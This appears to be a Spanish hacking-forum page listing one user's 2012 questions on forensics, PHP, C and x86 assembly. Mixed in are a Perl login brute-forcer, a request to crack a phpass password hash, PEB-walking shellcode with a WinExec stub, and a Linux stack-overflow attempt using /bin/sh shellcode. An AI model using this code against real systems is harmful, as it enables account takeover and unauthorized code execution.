Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Belial & Grimoire

#46
hola

quisiera saber si alguien conoce manuales de como funcionan los programas forenses, lo que pasa es que la mayoria de los tutoriales que encontre por lo general te dan un poco de teoria forense y despues te enseñan como recuperar un archivo mediante programas como EnCase o Autpsy, etc

pero me gustaria saber mas a fondo que hacen

por ejemplo, yo tenia entendido que los sistemas operativos cuando borras un archivo no lo borran por completo, solo borran la cabecera, y en los cluters queda guardada la informacion

hay informacion que es sobreescrita y ya no es recuperable  pero cuando no es sobreescrita, quiero creer que lo unico que se necesita es reestaurar la cabecera, asi que se necesita encontrar en los cluters el archivo

y si un archivo pesa 120 bytes y cada cluter son de 512 bytes, un cluter contiene el archivo y los bytes sobrantes son wipeados con ceros para llenar los 512 y si un archivo pesa 612 bytes, es usado un cluter y el cluter contiguo y wipeado de nuevo con ceros

y cuando borras el archivo, en realidad borras la cabecera que si no es detectada al guardar mas informacion y por lo general es detectada por FF FF... alli es cuando puede llegar a ser sobreescrita y ya no es recuperable mientras la cabecera exista el disco duro busca un sector con inicio 00 00 que significa vacio, alli es donde guarda la informacion, no recuerdo cuales son los HEX para saber el fin del archivo, aunque creo depende del formato, si es FAT, NTFS, EXT, etc

y las cabeceras depende el archivo, por ejemplo las imagenes PNG su cabecera es

FIRMA,IHDR,tEXt,sRGB,IDAT

Y quiero creer que recuperando los primeros 4, el archivo borrado puede ser recuperado para volverse a ver

bueno, todo eso yo imagino que son los pasos a seguir, pero la verdad no tengo idea de si estoy bien o mal

alguien conoce como o donde podria saber mas, porque bueno, nisiquiera se como le hacen los programas forenses para buscar los archivo borrados, y como los recupera, que busca, etc

bueno, mi interes es porque no me gusta pensar que hay programas que lo hacen y ya, me gusta saber el como lo hacen, ya que creo que los programas son utilidades que facilitan las cosas para cosas urgentes o muy tediosas, pero para aprendizaje, creo es mejor conocer como hacerlo tu mismo, digo para cosas sencillas creo es mas divertido hacerlo manualmente

bueno, espero me puedan ayudar

salu2
#47
Hardware / ayuda con analisis de un disco duro
7 Septiembre 2012, 04:53 AM
hola

me podrian explicar algo que creo ya entendi pero tambien siento que lo entendi mal

bueno, un disco duro hasta donde entendi esta hecho por cabezas, cilindros y sectores

los sectores contienen cluters, y cada cluter aumenta por multiplos de 2 (1,2,4)

pueden ser de 0 a 1023 cabezas y cada uno equivale a 10  bits
pueden ser de 0 a 255 cilindros y cada uno equivale a 8 bits
pueden ser de 1 a 63 sectores y cada uno equivale a 6 bits
pueden ser que cada cluter es un sector de 512 bytes

1024 * 256 * 63 * 512 = 8.4 GB

estan los CHS y los LBA

entonces si por ejemplo yo tengo ahorita analizando un disco duro de LBA 78156288

y cada plato o cabeza tiene un maximo de tamaño de 8.4 GB y LBA equivale a 4.8 bits, esto lo encontre en google que en realidad 4.8 bits son 4865

entonces serian

4865 * 255 * 63 = 78156225

si mi disco duro LBA es de 78156288 entonces

78 156 288 - 78 156 225 = 63

entonces 63 serian sectores sobrantes?

Alguien me puede decir si esto que puse esta bien o lo estoy entendiendo mal y si lo entendi mal, me podrian explicar porque, porfavor?

porque estaba viendo otro disco que tengo que es de 20 GB y dice LBA 39,865,392

entonces

78 165 360 - 39 865 392 = 38 299 968

pero apoco hay 38 299 968 sectores sin usar?, talvez la informacion del disco esta mal, o eso supongo

Y como podria saber el total en gigas del disco duro, por ejemplo

yo pense que si cada plato equivale a 8.4 gigas entonces era cuestion de multiplicar las cabezas

pero por ejemplo de un disco duro de 40 gigas seria multiplicar 8.4 x 5 pero me da 42, a menos que diminuya por los sectores sobrantes

espero me puedan explicar

salu2
#48
Seguridad / conocen tutoriales de analisis forense?
6 Septiembre 2012, 02:30 AM
hola

alguien conoce tutoriales de analisis forense en sistemas?, he estado buscando y encontre algunos pero la mayoria solo es teoria, y quisiera saber si conocen alguno con ejercicios para poder practicar la teoria

salu2
#49
hola

es posible hacer algo parecido a RunPE pero en archivos de imagenes o mp3's?, o solo se puede en ejecutables?
#50
hola

estaba tratando de hacer un bruteforce sencillo pero no logro hacer que funcione bien, ya que busca en un diccionario las palabras pero cuando pasa la correcta no se detiene

espero me puedan ayudar porfavor

Este es el codigo perl

Código (perl) [Seleccionar]
use LWP::UserAgent;
use HTTP::Request::Common;

my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];

unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist>");
exit 1;
}

if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{

open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;

print("inicio de bruteforce");
$i = 0;

foreach $words(@word){
chomp $words;
print "- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;

if($fondo =~ m/Login failed/i){
chomp $words;
print "\n\n[Usuario] $user\n";
print "[Pass] $word\n";
print "intentos $i\n";
}else{
$i++;
}


}
}



Y este es el codigo php con el que intento que funcione, no se si lo que hago es bueno, o habra otra forma de hacer un bruteforce mas universal

Código (php) [Seleccionar]
<form action="login.php" method="post">

<fieldset>

<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />

<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />

<p class="submit"><input type="submit" value="Login" name="Login"></p>
</fieldset>
</form>


salu2

#51
Programación C/C++ / ayuda con array basico
1 Septiembre 2012, 22:26 PM
hola

espero me puedan ayudar, trato de hacer un programa muy basico pero ay cosas que ya no logro recordar como se hacian

solo intento hacer una aplicacion en C, en donde al escribir una frase por ejemplo

"hola mundo"

se separe por letras
Citar
h
o
l
a

m
u
n
d
o

salu2

para poder despues cambiar la letras por otras sumando o restando

Citarh + 5
o + 6

resultado

mula mundo

o cambiar todas por el mismo numero

Citarh + 5
0 + 5

Citarmmla mundo
#52
hola

en la prueba de open source, este mensaje es porque esta mal la web o porque yo hice mal la prueba?

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, warzone@elhacker.net and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.
#53
hola

alguien sabe porque razon no puedo escribir en archivos con php?, hice este codigo para ver si tenia algun error, pero al parecer todo va bien, y no me explico porque cuando reviso el archivo "path.txt", no contiene nada, lo estoy haciendo en un servidor local con apache y sistema linux

Código (php) [Seleccionar]
<?php
$file 
"path.txt";
if(
file_exists($file)){
echo(
"el archivo existe");
}
if(@
chmod($file0777) == 0){
echo(
" tiene permisos");
}
if((
is_writable($file) && is_readable($file)) == 0){
echo(
" escritura y lectura");
}
if((
$fp fopen($file"a+")) == 0){
echo(
"archivo abierto");
}
$txt "hola\n";
if((
fwrite($fp$txt)) == 0){
echo(
"archivo escrito");
}
fclose($fp);

?>
#54
PHP / porque podria no funcionar fopen y fwrite?
26 Agosto 2012, 07:13 AM
hola

alguien sabe porque podria no funcionar fwrite, lo que pasa es que quise crear un archivo de texto y guardar informacion dentro pero cuando reviso el archivo no hay nada

ya intente verificar el path y si es el correcto

Código (php) [Seleccionar]
$file = "path.txt";
if(file_exists($file)){
echo("hola");
}


pero cuando quiero escribir algo no hay nada

Código (php) [Seleccionar]
$head = fopen($file,'w');
fwrite($head, 'hola');
fclose($head);


tambien ya le di permisos a toda la carpeta chmod -R 777

y no entiendo porque podria no funcionar, alguien me podria ayudar?
#55
Nivel Web / ayuda con supuesto hash MD5(Unix)
21 Agosto 2012, 07:16 AM
hola

me podrian ayudar diciendome si este hash es MD5(UNIX)?

$P$BKPSv7CEJXLAKKNxBzSEdTGyIorbQT0

lo que pasa es que intento crakearlo con john the ripper y me sale este mensaje y comienza a crackear

(phpass MD5 [2x1 (MD5_body)])

pero no se si sea lo correcto, ya que tambien intente hacerlo con un programa llamado hashcat, pero me decia "seperator unmatched" y "line length exception" con las opciones que venia alli

    0 = MD5
   10 = md5($pass.$salt)
   20 = md5($salt.$pass)
  100 = SHA1
  110 = sha1($pass.$salt)
  120 = sha1($salt.$pass)
  200 = MySQL
  300 = MySQL4.1/MySQL5
  400 = phpass, MD5(Wordpress), MD5(phpBB3)
  500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
  800 = SHA-1(Django)
  900 = MD4
1000 = NTLM
1100 = Domain Cached Credentials, mscash
1400 = SHA256
1410 = sha256($pass.$salt)
1420 = sha256($salt.$pass)
1600 = md5apr1, MD5(APR), Apache MD5
1700 = SHA512
1710 = sha512($pass.$salt)
1720 = sha512($salt.$pass)
1800 = SHA-512(Unix)
2600 = Double MD5
3300 = MD5(Sun)
3500 = md5(md5(md5($pass)))
3610 = md5(md5($salt).$pass)
3710 = md5($salt.md5($pass))
3810 = md5($salt.$pass.$salt)
3910 = md5(md5($pass).md5($salt))
4010 = md5($salt.md5($salt.$pass))
4110 = md5($salt.md5($pass.$salt))
4210 = md5($username.0.$pass)
4300 = md5(strtoupper(md5($pass)))
4400 = md5(sha1($pass))
4500 = sha1(sha1($pass))
4600 = sha1(sha1(sha1($pass)))
4700 = sha1(md5($pass))
4800 = MD5(Chap)


intentanto con md5(unix) me decia "separator unmatched"

creen que lo que hace john esta bien para descifrar la constraseña o mejor busco otro programa?

(phpass MD5 [2x1 (MD5_body)])

salu2
#56
Nivel Web / duda sobre error_reporting y SQLi
21 Agosto 2012, 02:52 AM
hola

tengo una duda, estaba leyendo que para evitar los mensajes de error se puede utilizar

error_reporting()

pero tambien lei que esta forma solo tapa los mensajes de error, pero no arregla los fallos

alguien tiene informacion sobre si se puede de alguna manera ver si la pagina es vulnerable?
#57
hola

hace poco se decompuso mi lap, usaba debian, ahorita uso una lap prestada que ya no usaban y la particioné porque tenian windows XP, pero el unico cd de linux que tenia era backtrack 5 R1, y pues no lo veo mal tiene muchas cosas que en debian se me dificultaban incluso instalar por librerias, actualizaciones, etc, tengo una cuenta de usuario y si necesito utilizar las funciones backtrack me voy a root

pero a veces lei que no era bueno usar backtrack como sistema operativo ya que su unica funcion es para auditorias

asi que mi pregunta es, que tan recomendable es que si consigo otra lap instale backtrack como SO?, seria bueno? o mejor sigo con debian o algun otro sistema linux?

espero opiniones

salu2
#58
hola

alguien sabe de algun sitio donde haya noticias o donde muestren nuevos metoso de hackeo?, lo que pasa es que me he dado  cuenta que en los foros ya no he visto post nuevos sobre nuevos metodos o descubrimientos, y pues ya no tengo tanto tiempo como cuando podia pasar horas buscando en la red cosas nuevas

todavia recuerdo que con poner hacker en google, encontraba tutoriales, herramientas, codigos, 0days, e-zine's, incluso una vez yo participe en una e-zine jeje... pero ahora ya no veo nada nuevo y pues cuando estaba en la escuela recuerdo que investigaba incluso hice un exploit para messenger, pero como les mencione, ya no hay tanto tiempo

espero me puedan sugerir sitios donde haya noticias o tutoriales de cosas nuevas, por ahorita trato de revisar exploit-db para ver que de nuevo hay

salu2
#59
hola

Habra algun problema si programo en ASM con WinMain@16, lo que pasa es que logre hacer un printf, pero lo hice con WinMain, pero no se si eso esta mal, porque pueda pesar mas bytes, se toman cosas extras de gcc o algo que lo haga menos eficiente?

tambien como decidi usar Nasm porque la mayor parte del tiempo uso linux, y virtualizo windows entonces se me hace mas sencillo mejor nasm

pero bueno, ya me explicaron en fasm como importar, pero en nasm, ¿como importo las DLL y las apis?, en google encontre un ejemplo pero no me sirvio y de alli ya no vi mas formas

y una pregunta

si yo hago esto

Código (asm) [Seleccionar]
push ebp
mov ebp, esp
sub esp, 10


bueno, tengo entendido que de esta forma, meto en la base lo que haya en el stack, pero cuando se usan funciones, esp vuelve a su estado normal? o eso no pasa?

por ejemplo

Código (asm) [Seleccionar]


push ebp
mov ebp, esp
sub esp, 12

........................... ; codigo

funcion:

mov eax, [esp + 0x08]


si hago esto, ebp sigue valiendo lo mismo y estoy tomando el parametro que meti en el DWORD 8 de los 12 que tome de esp?, o al hacer un nueva funcion, esp regresa a como estaba y estoy tomando el segundo parametro despues de RET?

salu2
#60
hola

una pregunta

he visto que despues de encontrar kernel32 buscan las funciones

por ejemplo

Código (asm) [Seleccionar]
push offset kernelbase ; direccion de kernel32.dll
   push offset nLoadLibrary ; cadena de texto con: LoadLibraryA
   push 0Dh ; longitud de LoadLibraryA + 1
   call busca_libreria ; buscamos LoadLibraryA dentro de kernel32.dll


mov eax, fs:[30h] ; puntero al PEB
   mov eax, [eax+0ch] ; puntero a la estructura de datos
   mov esi, [eax+1ch] ; extrae la primera entrada
   lodsd ; avanza a la siguiente
   mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax
   ret


; ***************************************************************************
; Buscamos la direccion de una funcion dada la direccion base de una libreria
; ***************************************************************************
busca_funcion:
   mov eax, [esp+8] ; funcion apunta al nombre de la funcion (ej: LoadLibraryA)
   mov funcion, eax
   mov eax, [esp+12] ; base apunta a la base de la libreria (ej: kernel32.dll)
   mov eax, [eax]
   mov base, eax



Tengo una duda sobre las funciones

al inicio de busca_funcion... hay mov eax, [esp+8]

yo al principio creia o talvez no lo entiendo bien, que esp+8 era donde se habia guardado MZ

Código (asm) [Seleccionar]
mov eax, [eax+08h]


entonces quise hacer algo como esto para ir guardando en la pila los datos

Código (asm) [Seleccionar]
mov    eax, [fs:0x30]   
mov    eax, [eax + 0x0C]   
mov    eax, [eax + 0x1C]   
mov    eax, [eax]     
mov    eax, [eax + 0x08] 

push ebp
mov ebp, esp
sub esp, 12
mov edi, [ebp + 0x08]
mov edx, edi
add edx, [edi + 0x3C]
mov [ebp - 0x0C], edx


al compilarlo no tuve problemas pero al ejecutarlo salia un error y se cerraba la aplicacion, pero...bueno, como uso windows 7 hay otra forma de encontrar kernel

Código (asm) [Seleccionar]
                xor eax, eax
mov eax, [fs:0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x0C]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax+0x18]


Entonces quise hacer algo como esto

Código (asm) [Seleccionar]
xor eax, eax
mov eax, [fs:0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x0C]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax+0x18]

push ebp
        mov ebp, esp
sub esp, 12

mov edi, [ebp + 0x08]

mov edx, edi
add edx, [edi + 0x3C]
mov [ebp - 0x0C], edx


y tampoco tuve problemas y el error no me parecio, pero si se dan cuenta de algo, puse


Código (asm) [Seleccionar]
mov edi, [ebp + 0x08]

lo cual me parecio que debia ser

Código (asm) [Seleccionar]
mov edi, [ebp + 0x18]

al compilarlo tampoco hubo algun problema, pero al investigar mas me encontre con otro ejemplo, donde hace lo mismo que el primer ejemplo

Código (asm) [Seleccionar]
LoadK32Function:
       mov    eax, [fs:0x30]   ; address of PEB
       mov    eax, [eax + 0x0C]   ; PEB->Ldr
       mov    eax, [eax + 0x1C]    ; Ldr->InMemoryOrderModuleList (first element is ntdll.dll)
       mov    eax, [eax]      ; InMemoryOrderModuleList->Flink (second element is kernel32.dll)
       mov    eax, [eax + 0x08]   ; DllBase

push    ebp
mov    ebp, esp
sub   esp, 12      ; make room for 3 DWORDS
mov    edi, [ebp + 0x08]    ; edi = DosHeader
cmp word [edi], 'MZ'
mov    edx, edi
add    edx, [edi + 0x3C] 
cmp word [edx], 'PE'
jne    LoadK32Function_fail
mov   [ebp - 0x0C], edx

_WinMain@16:

       push    LoadLibraryName
       push    dword [Kernel32Addr]
       call    LoadK32Function


Y aqui ya estoy confundido, que hace realmente ebp+0x08? porque al segundo ejemplo que puse de WinMain, si cambio de igual forma como encontrar kernel en sistemas windows 7, sigue funcionando ebp+0x08 pero si lo cambio a 0x18 ya no funciona

Código (asm) [Seleccionar]
                xor eax, eax
mov eax, [fs:0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x0C]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax+0x18]

push    ebp
mov    ebp, esp
sub   esp, 12      ; make room for 3 DWORDS
mov    edi, [ebp + 0x18]    ; edi = DosHeader
cmp word [edi], 'MZ'
mov    edx, edi
add    edx, [edi + 0x3C] 
cmp word [edx], 'PE'
jne    LoadK32Function_fail
mov   [ebp - 0x0C], edx   


Esta es una explicacion que dieron pero no entiendo porque comenzar con 0x08

Citar;------------------------------------
       ;          +-----------------------+
       ; ebp-0x0C | PE Header             |
       ;          +-----------------------+
       ; ebp-0x08 | Export table addr     |
       ;          +-----------------------+
       ; ebp-0x04 | AddressOfNames        |
       ;          +-----------------------+
       ; .....
       ;          +-----------------------+
       ; ebp+0x08 | kernel32 base address |
       ;          +-----------------------+
       ; ebp+0x0C | function name         |
       ;          +-----------------------+
       ;------------------------------------

espero me puedan ayudar con esta duda, porque me gustaria saber porque ebp tendria que comenzar con 0x08, porque no se si tambien podria haber comenzado con 0x04 y "function name" comenzar con 0x08 y si es "MZ" porque no comienza con 0x18, al principio tambien crei que era porque MZ era un DWORD pero es WORD, pero ahora no tengo idea sobre ebp, espero me puedan explicar

salu2
#61
Hola tengo unas dudas sobre PEB

bueno, ya entendi como se encuentra PEB gracias al blog de Nox donde te explica sobre eso

estuve haciendo pruebas para verificar si lo que hacia estaba bien, perdon por poner una mezcla de ASM y C pero no encontre otra manera de verificar que realmente la comparacion de PE fuera exacto

#include <windows.h>
#include <stdio.h>

int main()
{

__asm{

xor eax, eax
mov eax, fs:[0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x1C]
mov eax, [eax]
mov eax, [eax+0x08]
mov ebx, eax
add ebx, [eax + 0x3C]
cmp ebx, 'PE'
je bien


}
bien:
MessageBox(0, "bien hecho", "mensaje", 0 );
getchar();

}


ahora, lo que sabia es que despues de esto tenia que llegar a IMAGE DATA DIRECTORY, donde se encuentra RVA o VirtualAddress

aqui no se dos cosas, cual es el tamaño de IMAGE_OPTIONAL_HEADER?

acaso son 0x78?

entonces seria 0x76 y 0x78 empieza IMAGE_DATA_DIRECTORY?

y lo que tendria que seguir en el codigo para llegar a EAT seria?
Citar
mov ebx, [ebx + 0x78]

y bueno, de aqui que mas tendria que hacer para encontrar por ejemplo, LoadLibraryA y Getprocaddress?

e visto que buscan direccion de nombres [0x20] y numero de nombres [0x18] e incluso veo que se saltan eso y van directo a [0x24] que seria numero de funciones

me gustaria hacer un ejercicio para mostrar un MessageBox cargando user32.dll con LoadLibrary y mostrando MessageBoxA con GetprocAddress y ponerle algun mensaje, todo usando PEB

espero me puedan ayudar

P.D. Nox, me podrias decir que compilador usaste para compilar el ejemplo de tu blog, porfavor?

salu2
#62
hola

estoy tratando de programar una aplicacion para descargar archivos, del codigo que les pondre, el segundo for( ; ; ), se detiene y no termina de descargar los datos y los archivos quedan incompletos, que podria suceder?, lo estoy haciendo en linux

if(argc > 2){

char *hst, *file, *dire;
char datos[512];
char buffer[1024];
hst = argv[1];
file = argv[2];
dire = argv[3];

int sock;
int i = 0;
int bytes = 0;
int dbytes;

memset(buffer, 0, 1024);

struct sockaddr_in cox;
struct hostent *ht;

sprintf(datos, "GET %s HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n", file, hst);

sock = socket(AF_INET, SOCK_STREAM, 0);

ht = gethostbyname(hst);

cox.sin_family = AF_INET;
cox.sin_port = htons(80);
cox.sin_addr = *((struct in_addr*)ht->h_addr);
memset(&cox.sin_zero, 0, 8);

connect(sock, (struct sockaddr*)&cox, sizeof(struct sockaddr));

FILE *fp = fopen(dire, "wb");

send(sock, datos, strlen(datos), 0);

for(;;){

recv(sock, buffer + i, 1, 0);
i++;
if(strncmp(buffer+i-4, "\r\n\r\n", 4) == 0){
break;
}
}
for(;;){

memset(buffer,0,1024);
bytes = recv(sock, buffer, 1024, 0);
dbytes += bytes;
printf("%d KB\n", dbytes/1024);
fwrite(buffer, sizeof(char), bytes ,fp);
if(bytes <= 0){
break;
}
}
printf("Bytes: %d\n", dbytes);
fclose(fp);
close(sock);
}
}


todavia le faltan cosas, pero ahorita lo hice para que descargue de esta manera
Citar
./downfiles www.oocities.org /dreamlfpg315/dll/ensamblador.txt ensamblador.txt



#63
hola

Me podrian ayudar a entender esto

Código (asm) [Seleccionar]
api_call:
  pushad     ;registros a pila
  mov ebp, esp
  xor edx, edx
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder


next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi



Esta parte no la entiendo... se movera a esi edx+40, supuestamente es el puntero a los modulos pero donde encuentro informacion sobre el porque edx+40 apunta a los nombres

movzx tengo entendido que es para mover a un destino rellenando con ceros, pero porque un word [edx+38]?

Código (asm) [Seleccionar]
loop_modname:
  xor eax, eax
  lodsb
  cmp al, 'a'        ;el nombre del modulo esta en minuscula
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   

not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha
  add edi, eax       ;el valor del hash
  loop loop_modname  ;hasta ecx=0


Aqui quiero creer que lo que pasa es que lodsb leera byte por byte de mov esi, y lo metera en ax, se hara una comparacion con los ultimos 8 bits y si resulta a minuscula se hara mayuscula y saltara a not_lowercase

entiendo que ror es para voltear a la derecha, pero porque 13?, add hace una suma de edi + eax?, y como que el hash?, el que yo le pongo por ejemplo

push 0x876F8B31 ;hash para WinExec a pila

o cual hash?

y me imagino que el loop hace que repita ecx que se relizo en next_mod

Código (asm) [Seleccionar]
push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila
  mov edx, [edx+16]  ;direccion base del modulo a edx
  mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo
  add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx         



Código (asm) [Seleccionar]
push edx           ;Posicion
  push edi           ;y hash del modulo actual a pila


Esto creo que es edx del inicio, puntero del primer modulo, y el hash que se caba de encontrar, el cual todavia no entiendo cual

Código (asm) [Seleccionar]
mov edx, [edx+16]  ;direccion base del modulo a edx

este me imagino que es PVOID BaseAddress

Código (asm) [Seleccionar]
mov eax, [edx+60]  ;cabecera PE a eax
  add eax, edx
  mov eax, [eax+120] ;EAT a eax
  test eax, eax      ;hay EAT?
  jz get_next_mod1   ;no, siguiente modulo


creo que es el PE de kernel32.dll y la suma de eax y edx mas 120 me llevara a EAT, si no hay entonces llegare a get_next_mod1

Código (asm) [Seleccionar]
get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax
  pop edx         ;posicion donde quedamos en la lista de modulos a edx
  mov edx, [edx]  ;puntero al siguiente modulo
  jmp short next_mod


me imagino que saco de la pila edi, edx y regresamos a la posicion de antes y se repite next_mod


Código (asm) [Seleccionar]
add eax, edx
  push eax           ;EAT del modulo a pila
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx
  mov ebx, [eax+32]  ;RVA de las funciones a ebx
  add ebx, edx     



posiblemente aqui se encuentra EAT me llevara a RVA donde estan las funciones del modulo

Código (asm) [Seleccionar]
get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo
  dec ecx            ;numero de la funcion - 1
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx
  xor edi, edi


pero me imagino que pasa si se leen tods las funciones, aunque no entiendo como funcionaria

Código (asm) [Seleccionar]
loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion   

  pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax   

finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor


Y para finalizar

Me imagino que se hace exactamente lo mismo para buscar la funcion con loop

Código (asm) [Seleccionar]
loop_funcname:
  xor eax, eax
  lodsb           ;byte por byte del nombre de la funcion en ASCII
  ror edi, 13     ;buscamos
  add edi, eax    ;el caracter
  cmp al, ah      ;nulo que indica el final de la cadena
  jne loop_funcname ;hasta tener el hash completo de la funcion


esto no entiendo que hace, solo se que sirve para verfiricar que es la que buscamos, pero porque ebp-8 y ebp+36

Código (asm) [Seleccionar]
add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion
  cmp edi, [ebp+36] ;es la que buscamos?
  jnz get_next_func ;no, sigamos con la siguiente funcion   



Aqui y solo me imagino que es agregar a la pila todo los datos

Código (asm) [Seleccionar]
pop eax           ;EAT del modulo a eax
  mov ebx, [eax+36] ;conseguimos RVA
  add ebx, edx      ;le a?adimos la direccion base del modulo
  mov cx, [ebx+2*ecx]
  mov ebx, [eax+28]  ;RVA de la funciones a ebx
  add ebx, edx       ;le a?adimos la direccion base del modulo
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax
 


y finalizamos

Código (asm) [Seleccionar]
finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor


Perdon se que son muchas preguntas pero espero me puedan ayudar poco a poco, porque ya pase varios dias leyendo y googlendo sobre muchas cosas, afortundente el formato PE lo logre entender y bueno el manual que hay para formato PE sobre windows pues sigo leyendo

varias funciones que desconocia de ASM las sigo aprendiendo, ya logre hacer una shell con las direcciones de WinExec y ExitProcess, me costo un poco de trabajo porque no sabia como hacer un push a "db 'cmd.exe', 0'"... XD

y buscando me di cuenta que con esas mismas direcciones se puede ejecutar una shell con PEB, esto lo encontre del blog Harmony Security

Código (asm) [Seleccionar]
[BITS 32]
[ORG 0]

  cld                    // clear the direction flag
  call start             // call start, this pushes the address of 'api_call' onto the stack
delta:
  %include "./x86_api_call.asm"
start:
  pop ebp                // pop off the address of 'api_call' for calling later

  push byte +1           // push the command show parameter
  lea eax, [ebp+command-delta] // calculate an address to the command line
  push eax               // push the command line parameter
  push 0x876F8B31        // push the hash value for WinExec
  call ebp               // kernel32.dll!WinExec( &command, SW_NORMAL )

  push byte 0            // push the desired exit code parameter
  push 0x56A2B5F0        // push the hash value for ExitProcess
  call ebp               // call kernel32.dll!ExitProcess( 0 )

command:
  db "calc.exe", 0


y pues estoy interesado en aprender a hacer cosas como esas

bueno, espero me puedan ayudar

salu2
#64
hola

me podrian explicar para que funciona LEA y cual es la diferencia entre LEA y MOV

es que googlendo encontre un poco pero no entendi bien, y pues algo que encontre tambien fue la diferencia de lea y mov pero me quisiera saber si alguien tiene una explicacion mas amplia porfavor

salu2  ;D
#65
hola

bueno, estoy aprendiendo asm, acabo de entender como encontrar PEB de kernel32.dll

DWORD Kerbel;

__asm{

xor eax, eax
mov eax, fs:[0x30]
mov eax, [eax+0x0C]
mov eax, [eax+0x1C]
mov eax, [eax]
mov eax, [eax+0x08]
mov Kerbel, eax

}

printf("PEB asm: %8X", Kerbel );


estuve revisndo sobre la estructura PEB, apuntar a InLoadOrderModuleList de LDR, etc...

ya lo intente y si me funciono, pero despues que tengo que hacer para encontrar LoadLibraryA?, y como podria utilizarlo para obtener la direccion con GetProcAddress de MessageBoxA y poder ejecutar un MessageBox con un mensaje?

y porcierto, porque ese mismo codigo en asm no me funciona en fasm?, cual es la diferencia?

espero me puedan orientar, salu2

#66
sigo sin lograr crear la shell en linux con un exploit... alguien tiene alguna idea de que podria ser?, esto es lo que hago

primero desactivo

Citarcat /proc/sys/kernel/randomize_va_space
0

compilo

Citargcc -g --no-stack-protector -z execstack vuln.c -o vuln

con GDB, analizo

Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀BBBB") at vuln.c:6
6      strcpy(buffer, badbeef);

esto obtengo como resultado

Citar(gdb) x/x buffer
0xbffff320:   0x00000000
(gdb) x/x badbeef
0xbffff5a4:   0x41414141

Citar(gdb) x/50 $esp
0xbffff310:   0xb7f361d7   0xb7e955f5   0x0000002f   0xb7fbeff4
0xbffff320:   0x00000000   0x0804966c   0xbffff338   0x080482e8
0xbffff330:   0xb7ff1300   0x0804966c   0xbffff368   0x08048449
0xbffff340:   0xb7fbf324   0xb7fbeff4   0xbffff368   0x08048417
0xbffff350:   0xbffff5a4   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
